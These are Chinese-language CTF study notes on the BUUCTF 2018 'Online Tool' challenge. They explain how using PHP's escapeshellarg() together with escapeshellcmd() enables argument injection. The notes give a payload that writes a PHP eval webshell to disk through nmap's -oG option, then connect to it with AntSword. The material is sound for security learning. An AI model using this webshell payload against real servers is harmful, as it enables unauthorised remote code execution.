新知识:
escapeshellarg()函数:
把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号;
escapeshellcmd()函数:
对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义;
这两个函数若同时使用,将会产生逻辑漏洞;
个人理解防范原理:将特殊符号进行转译处理,使其变为字符串,从而无法发挥正常作用;
绕过方案:(当两个单引号闭合时不会对语句造成影响)
所以可以利用这一机制进行绕过;
图解原理:(来自(27条消息) [BUUCTF 2018]Online Tool_沐目_01的博客-CSDN博客_buuctf online)
简单概述一下:
假设传入:a=1‘
经过escapeshellarg()函数
得到:'1'\''
经过escapeshellcmd()函数:
得到:'1'\\''\'
此时可以将其分为几个部分
'1'==>在这里写一句话木马
\\==>\
' ' ==>单引号闭合,对语句不够成影响
\'==>' 这个单引号不影响
题目:
payload:
?host='<?php eval($_POST["a"]);?> -oG 1.php '
蚁剑连接获取flag
注意连接时后面的php文件,要不然会报错的!!!
建议大佬博客:
谈谈escapeshellarg参数绕过和注入的问题 (lmxspace.com)
PHP escapeshellarg()+escapeshellcmd() 之殇
(27条消息) [BUUCTF 2018]Online Tool_沐目_01的博客-CSDN博客_buuctf online